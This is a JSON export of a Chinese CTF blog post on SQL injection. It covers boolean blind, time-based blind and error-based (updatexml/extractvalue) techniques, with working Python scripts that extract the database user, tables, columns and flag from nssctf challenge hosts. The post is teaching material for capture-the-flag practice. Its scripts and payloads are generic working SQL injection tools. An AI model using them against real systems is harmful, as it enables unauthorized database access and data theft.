{"id":616,"date":"2025-07-01T23:18:14","date_gmt":"2025-07-01T15:18:14","guid":{"rendered":"https:\/\/koishi.team\/?p=616"},"modified":"2025-07-02T20:44:11","modified_gmt":"2025-07-02T12:44:11","slug":"php%e6%98%af%e4%b8%96%e7%95%8c%e4%b8%8a%e6%9c%80%e5%a5%bd%e7%9a%84%e8%af%ad%e8%a8%80","status":"publish","type":"post","link":"https:\/\/koishi.team\/index.php\/2025\/07\/01\/php%e6%98%af%e4%b8%96%e7%95%8c%e4%b8%8a%e6%9c%80%e5%a5%bd%e7%9a%84%e8%af%ad%e8%a8%80\/","title":{"rendered":"PHP\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u8bed\u8a00"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\" id=\"RRznQ\">\u5e03\u5c14\u76f2\u6ce8\u548c\u65f6\u95f4\u76f2\u6ce8<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"3e00fa156cf63c63de9f24b6816f4d9e\">\u4f7f\u7528\u624b\u5de5\u6ce8\u5165\uff0c\u8054\u5408\u67e5\u8be2\u9700\u8981\u9875\u9762\u80fd\u56de\u663e\u51fa\u6709\u7528\u7684\u67e5\u8be2\u7ed3\u679c\uff0c\u5982\u679c\u67e5\u8be2\u540e\u4e0d\u4f1a\u7ed9\u67e5\u8be2\u7ed3\u679c\u5c31\u9700\u8981\u65e0\u56de\u663e\u76f2\u6ce8<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020338-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"433\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020338-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-630\" title=\"\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"6a2a4aa89fc04bdb9ac75925e9126f8e\">\u76f2\u6ce8\u53ef\u4ee5\u5206\u4e3a\u4e24\u79cd\uff0c\u4e00\u79cd\u6709\u90e8\u5206\u56de\u663e\u7684\uff0c\u4e00\u79cd\u65e0\u4efb\u4f55\u56de\u663e\u5206\u4e3abool\u76f2\u6ce8\u548c\u65f6\u95f4\u76f2\u6ce8<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"9ea422fb7afe535a7219c612078e18a6\"><strong>bool\u76f2\u6ce8<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests<br>url = 'http:\/\/node4.anna.nssctf.cn:28367\/?id=1' #url<br>flag = ''<br><br><br>for i in range(1, 50):<br>l,r = 32, 127<br>while l &lt; r:<br>mid = (l+r) \/\/ 2<br># where id = 1<br># payload = f'2-if(ascii(substr((select user()), {i}, 1))&lt;={mid}, 1, 0)'<br># payload = f'2-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {i}, 1))&lt;={mid}, 1, 0)'<br># payload = f'2-if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\\'f1ag_table\\'), {i}, 1))&lt;={mid}, 1, 0)'<br>payload = f'2-if(ascii(substr((select group_concat(i_am_f1ag_column) from f1ag_table), {i}, 1))&lt;={mid}, 1, 0)'<br>res = requests.get(url, params={<br>'id': payload<br>})<br>if \"id = 1\" in res.text: # \u5224\u65ad\u56de\u663e\u4fe1\u606f<br>r = mid<br>else:<br>l = mid+1<br>flag += chr(l)<br>print(flag)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"5cdedd6cd37d10b4ded62bf2c89badad\">bool\u76f2\u6ce8\u7b80\u5355\u7684\u53ef\u4ee5\u7406\u89e3\u4e3a\u901a\u8fc7\u6709\u9650\u7684\u8bf7\u6c421\u548c2\u4fe9\u8868\u793a\u662f\u5426\u8bf7\u6c42\u6210\u529f\uff0c\u7136\u540e\u5c06ASCII\u7801\u4e2d\u7684\u5b57\u7b26\u4e00\u4e2a\u4e2a\u5c1d\u8bd5\u5224\u65ad\u6700\u540e\u4f46\u56e0\u51fa\u9700\u8981\u7684\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020339-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"592\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020339-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-631\" style=\"aspect-ratio:1;width:840px;height:auto\" title=\"\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020340-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"596\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020340-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-632\" title=\"\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"1ad27e2f2ad1a3c783a69353ac4a8ca0\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020341.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"603\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1000020341.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-637\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1751382877760.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"603\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/07\/1751382877760.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-633\"  sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"54e39d2aa25f642514b6e6170a72ff45\"><strong>\u65f6\u95f4\u76f2\u6ce8<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"17b84173fe91f742424d3a11a3b5dd9a\">\u5f53\u9875\u9762\u7684\u4fe1\u606f\u4e3a\u4efb\u4f55\u53ef\u4ee5\u5229\u7528\u7684\u5316\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u662f\u5426\u76f8\u5e94\u4e0d\u540c\u7684\u9875\u9762\u53d8\u4e3a\u662f\u5426\u9875\u9762\u54cd\u5e94\u5927\u4e8e1\u79d2\uff0c\u631a\u53cb\u5927\u4e8e1\u79d2\u7684\u6570\u636e\u53ef\u4ee5\u8bfb\u53d6\uff08\u4f46\u662f\u5982\u679c\u7f51\u7edc\u5ef6\u8fdf\u5927\u7684\u5316\u53ef\u4ee5\u9519\u8bef\u8f93\u5165\u5ef6\u8fdf\u4e5f\u5927\u4e8e\u4e00\u79d2\u5bfc\u81f4flag\u9519\u8bef<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"d675c853d21c14bcd05d7430947b44a0\">\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>where id=1+if(substr((select database()), 1, 1)='r', sleep(1), 0)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests<br><br>url = 'http:\/\/node4.anna.nssctf.cn:28476\/' # url<br>flag = ''<br><br>for i in range(1, 50):<br>l, r = 32, 127<br>while l &lt; r:<br>mid = (l + r) \/\/ 2<br># where id = 1<br># payload = f'2-if(ascii(substr((select user()), {i}, 1))&lt;={mid}, sleep(1.0), 0)'<br># payload = f'2-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {i}, 1))&lt;={mid}, sleep(1.0), 0)'<br># payload = f'2-if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\\'f1ag_table\\'), {i}, 1))&lt;={mid}, sleep(1.0), 0)'<br>payload = f'2-if(ascii(substr((select group_concat(i_am_f1ag_column) from f1ag_table), {i}, 1))&lt;={mid}, sleep(1.0), 0)'<br>res = requests.get(url, params={<br>'id': payload<br>})<br><br>if res.elapsed.total_seconds() &gt; 1.0:<br>r = mid<br>else:<br>l = mid+1<br>flag += chr(l)<br>print(flag)<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"blDtd\">\u62a5\u9519\u6ce8\u5165\u548c\u5bbd\u5b57\u8282\u6ce8\u5165<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"f287d5cbd0cc336939d24851cdba4552\">\u62a5\u9519\u6ce8\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"875ed8ca0ee9c0bd7c24807d2caab8f6\">\u5982\u679c\u8fd4\u56de\u7ed3\u679c\u4e2d\u65e0\u53ef\u4ee5\u4fe1\u606f\uff0c\u4e14sleep\u51fd\u6570\u88ab\u670d\u52a1\u5668\u8fc7\u6ee4\u53ef\u4ee5\u8003\u8651\u62a5\u9519\u6ce8\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"80e933dd60e3ca0a2d18c565dce2ebbe\">\u5f53\u9875\u9762\u4f1a\u7ed9\u51fa\u62a5\u9519\u4fe1\u606f\u7684\u5b9e\u60e0\uff0c\u6211\u4eec\u4f7f\u7528\u5229\u7528\u8fd9\u4e9b\u62a5\u9519\u4fe1\u606f\u5e26\u51fa\u6211\u4eec\u7684\u67e5\u8be2\u5185\u5bb9<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\" id=\"708487fffb9d952f3f8ae874c35f2bad\">id=1 and updatexml(1,concat(0x7e,(select datebase())),1)<br>extractvalue(null, concat(0x7e, (select user())))<br><a href=\"http:\/\/node4.anna.nssctf.cn:28819\/?id=2%2520and%2520updatexml(1,concat(0x7e,(select%2520group_concat(table_name)%2520from%2520information_schema.tables%2520where%2520table_schema=database())),1)\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/node4.anna.nssctf.cn:28819\/?id=2%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)<\/a><\/p>\n<\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport re\n\nurl = 'http:\/\/node4.anna.nssctf.cn:28176\/'\nprint(\"start\")\n\n# \u83b7\u53d6\u5e93\u540d\n# payload = \"updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)\"\n\n# \u83b7\u53d6\u8868\u540d\n# payload = \"updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)\"\n\n# \u83b7\u53d6\u5217\u540d\n# payload = \"updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='f1ag_table'),0x7e),1)\"\n\n# \u83b7\u53d6\u6570\u636e\n# payload = \"updatexml(1,concat(0x7e,(select left(concat(i_am_f1ag_column),30) from f1ag_table),0x7e),1)\"\n\ndata = {\n'id': f'1 and {payload}-- -'\n}\n\n# \u83b7\u53d6\u524d 24 \u4e2a\u5b57\u7b26\nresponse = requests.get(url, params=data)\nmatch = re.findall(r'~(.*)~', response.text)\nleft = match&#91;0] if match else \"\"\n\n# \u83b7\u53d6\u540e 20 \u4e2a\u5b57\u7b26\n# payload = \"updatexml(1,concat(0x7e,(select right(i_am_f1ag_column,30) from f1ag_table),0x7e),1)\"\ndata = {\n'id': f'1 and {payload}-- -'\n}\nresponse = requests.get(url, params=data)\nmatch = re.findall(r'~(.*)~', response.text)\nright = match&#91;0] if match else \"\"\n\n# \u8f93\u51fa\u62fc\u63a5\u540e\u7684\u5b8c\u6574\u6570\u636e\nprint(left)\nprint(right)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u5e03\u5c14\u76f2\u6ce8\u548c\u65f6\u95f4\u76f2\u6ce8 \u4f7f\u7528\u624b\u5de5\u6ce8\u5165\uff0c\u8054\u5408\u67e5\u8be2\u9700\u8981\u9875\u9762\u80fd\u56de\u663e\u51fa\u6709\u7528\u7684\u67e5\u8be2\u7ed3\u679c\uff0c\u5982\u679c\u67e5\u8be2\u540e\u4e0d\u4f1a\u7ed9\u67e5\u8be2\u7ed3\u679c\u5c31\u9700\u8981\u65e0\u56de\u663e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":643,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-616","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>PHP\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u8bed\u8a00 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/koishi.team\/index.php\/2025\/07\/01\/php\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u8bed\u8a00\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PHP\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u8bed\u8a00 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\" \/>\n<meta property=\"og:description\" content=\"\u5e03\u5c14\u76f2\u6ce8\u548c\u65f6\u95f4\u76f2\u6ce8 \u4f7f\u7528\u624b\u5de5\u6ce8\u5165\uff0c\u8054\u5408\u67e5\u8be2\u9700\u8981\u9875\u9762\u80fd\u56de\u663e\u51fa\u6709\u7528\u7684\u67e5\u8be2\u7ed3\u679c\uff0c\u5982\u679c\u67e5\u8be2\u540e\u4e0d\u4f1a\u7ed9\u67e5\u8be2\u7ed3\u679c\u5c31\u9700\u8981\u65e0\u56de\u663e [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/koishi.team\/index.php\/2025\/07\/01\/php\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u8bed\u8a00\/\" \/>\n<meta property=\"og:site_name\" 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